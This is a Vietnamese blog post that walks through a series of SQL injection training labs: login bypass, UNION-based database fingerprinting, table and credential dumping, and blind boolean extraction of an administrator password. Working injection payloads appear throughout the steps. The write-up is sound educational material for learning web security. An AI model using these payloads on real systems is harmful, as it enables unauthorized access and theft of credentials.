DEV Community

Cover image for LAB: SQL injection
tRavOndAtrACk
tRavOndAtrACk

Posted on • Edited on

LAB: SQL injection

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Mô tả:
Lab này chứa lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm. Mục tiêu của lab là thực hiện tấn công SQL Injection để hiển thị sản phẩm chưa phát hành.

Các bước tiến hành

  • Lỗ hổng nằm ở tham số category. Nếu giá trị nhập vào không được kiểm tra đúng cách, ta có thể chèn một điều kiện logic làm thay đổi kết quả truy vấn.

Step 1: Sửa tham số category.

  • Khai thác bằng cách sửa category thành '+OR+1=1--:

Image description

  • Kết quả sau khi request:

Image description

Giải thích

  • Việc sửa category đã khiến truy vấn SQL thành:
SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1
Enter fullscreen mode Exit fullscreen mode

--> Điều này làm cho việc 1=1 luôn đúng nên trả về toàn bộ sản phẩm (bao gồm cả chưa phát hành).


Lab: SQL injection vulnerability allowing login bypass

Mô tả:
Lab này chứa lỗ hổng SQL Injection trong chức năng đăng nhập. Mục tiêu là khai thác lỗ hổng này để đăng nhập vào ứng dụng với quyền administrator mà không cần biết mật khẩu.

Các bước thực hiện

Step 1: Gửi request với usernamepassword bất kì

Image description

Step 2: Thử chỉnh sửa tham số username thành administrator'--. Mục đích nhằm comment phía sau giúp bỏ qua mật khẩu.

Image description

Image description

--> DONE


Lab: SQL injection attack, querying the database type and version on Oracle

Mô tả
Bài lab chứa lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm (product category filter).

Các bước tiến hành
Step 1: Click vào danh mục sản phẩm bất kì để xem category, thử thêm dấu 'vào tham số category để xem phản hồi của server.

Image description

Image description
Step 2: Dùng ORDER BY để xác định số cột:

Image description

==> Dùng NULL để tìm số lượng cột hợp lệ. Khi truy vấn hợp lệ mà không gặp lỗi, số NULL chính là số cột cần dùng.
Step 3: Viết mã python để dò hoặc sử dụng BurpSuite để dò

Image description

Image description

==> Số cột hợp lệ là 2
==> ' UNION SELECT NULL, 'TEST' FROM dual--

Image description

  • Lấy phiên bản Database: ' UNION SELECT NULL, banner FROM v$version-- Image description

Image description

==> DONE


Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

Mô tả
Bài lab này có lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm (product category filter). Ta có thể sử dụng UNION-based SQL Injection để lấy thông tin từ cơ sở dữ liệu.

Các bước thực hiện

  • Thay đổi category '

Step 1: Dò số lượng cột

Image description

==> truy vấn có 2 cột.

Step 2: Lấy phiên bản database

'+UNION+SELECT+@@version,+NULL#
Enter fullscreen mode Exit fullscreen mode

Image description


Lab: SQL injection attack, listing the database contents on non-Oracle databases

Mô tả
Bài lab này chứa một lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm. Chúng ta có thể khai thác lỗ hổng này bằng cách sử dụng UNION attack để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu.

Mục tiêu của bài lab là tìm ra bảng chứa thông tin đăng nhập, lấy username và password của admin, và đăng nhập thành công.

Các bước thực hiện

Step 1: Dò số cột

Image description

Step 2: Tìm bảng chứa thông tin đăng nhập. Dùng payload:

'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--
Enter fullscreen mode Exit fullscreen mode

Image description

Step 3: Tìm bảng có khả năng chứa thông tin đăng nhập, ghi nhớ tên bảng ví dụ như username_table,... có thể dùng payload sau để dò

Image description

  • Trông đáng nghi vler.

Step 4: Dùng payload để lấy username và password

'+UNION+SELECT+username_abcdef,password_abcdef+FROM+users_abcdef--
Enter fullscreen mode Exit fullscreen mode

Image description

Step 5: Dùng payload SQL Injection sử dụng UNION để lấy dữ liệu từ bảng users_pzymph.

'+UNION+SELECT+username_kconac,+password_swatkh+FROM+users_pzymph--
Enter fullscreen mode Exit fullscreen mode

Image description

==> đã có user + pass ---> DONEEEEEEEEEEEE

Image description


Lab: SQL injection attack, listing the database contents on Oracle

Mô tả
Lab này chứa một lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm. Kết quả của truy vấn SQL được trả về trong phản hồi của ứng dụng, cho phép chúng ta sử dụng UNION để lấy dữ liệu từ các bảng khác.

Các bước tiến hành

  • Tương tự với các lab trên dò các thông tin như số cột,.. ==> dò được 2 cột

Step 1: Lấy danh sách các bảng trong database

Image description

--> có bảng tên: USERS_YKUQYQ có thể có thêm thông tin

Step 2: Lấy danh sách các cột trong bảng chứa thông tin đăng nhập.

Dùng payload sau để lấy danh sách cột:

' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_YKUQYQ'--
Enter fullscreen mode Exit fullscreen mode

Image description

Step 3: Lấy danh sách username và password

Dùng payload:

' UNION SELECT USERNAME_CZGPNA, PASSWORD_MRTUUF FROM USERS_YKUQYQ--
Enter fullscreen mode Exit fullscreen mode

Image description

Image description

---> DONEEEEEEEEEEEEEEEEEEEE


Lab: SQL injection UNION attack, determining the number of columns returned by the query

Mô tả
Lab này có một lỗ hổng SQL Injection trong bộ lọc danh mục sản phẩm. Kết quả truy vấn SQL được trả về trong phản hồi của ứng dụng, cho phép chúng ta sử dụng kỹ thuật UNION để lấy dữ liệu từ các bảng khác. Mục tiêu của bài lab này là xác định số lượng cột được trả về từ truy vấn bằng cách thực hiện tấn công SQL Injection UNION.

Các bước thực hiện

  • Một số bước cơ bản như các bài lab trên như dò số cột. --> dò được 3 cột

Image description


Lab: SQL injection UNION attack, finding a column containing text

Các bước thực hiện

  • Tương tự với các lab trên dò số cột =)))

Image description

  • Dùng payload sau thay thế NULL bằng các chuỗi bất kì để check xem cột nào chứa dữ liệu dạng text --> tìm được cột 2 có dạng text
' UNION SELECT NULL, 'abc', NULL--
Enter fullscreen mode Exit fullscreen mode

Image description

  • Đổi chuỗi abc sang chuỗi mà lab gợi ý Image description

Image description

--> DONEEEEEEEEEEEE


Lab: SQL injection UNION attack, retrieving data from other tables

Các bước thực hiện

  • Dò được 2 cột

Image description

  • Truy xuất dữ liệu từ bảng users

Image description

Image description

---> DONEEEEEEEEEEEEEEEEEEE


Lab: SQL injection UNION attack, retrieving multiple values in a single column

Các bước thực hiện

  • Dùng payload để lấy thông tin từ bảng:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
Enter fullscreen mode Exit fullscreen mode

Image description


Lab: Blind SQL injection with conditional responses

Mô tả
Bài lab này chứa một lỗ hổng Blind SQL Injection trong ứng dụng web. Ứng dụng sử dụng cookie TrackingId để theo dõi người dùng, nhưng cookie này bị tổn thương bởi SQL Injection. Mục tiêu là trích xuất mật khẩu của tài khoản administrator trong cơ sở dữ liệu.

  • Cách tiếp cận:

Sử dụng boolean-based blind SQL injection để xác nhận sự tồn tại của bảng và dữ liệu.
Xác định độ dài của mật khẩu của administrator.
Trích xuất mật khẩu từng ký tự một bằng Burp Suite Intruder.

Các bước thực hiện

Step 1: Kiểm tra lỗ hổng SQL Injection

  • Đổi giá trị của TrackingId thành TrackingId=xyz....' AND '1'='1

Image description
--> Nhận được thông báo Welcome back!

Step 2: Kiểm tra sự tồn tại của bảng users

' AND (SELECT 'a' FROM users WHERE username='administrator')='a
Enter fullscreen mode Exit fullscreen mode

Step 3: Xác định độ dài của mật khẩu Administrator

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
Enter fullscreen mode Exit fullscreen mode

--> Tiếp tục thử các giá trị (>2, >3, v.v.) cho đến khi thông báo "Welcome back" biến mất. Tới >20 thì thông báo biến mất --> mk có 20 kí tự.

Step 4: Dò từng ký tự của mật khẩu

  • Trong intruder chỉnh giá trị TrackingID:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
Enter fullscreen mode Exit fullscreen mode

Image description

  • Với các giá trị chạy từ 0-9 và a-z. Sau khi attack xong thu được mật khẩu. --> DONE

Top comments (0)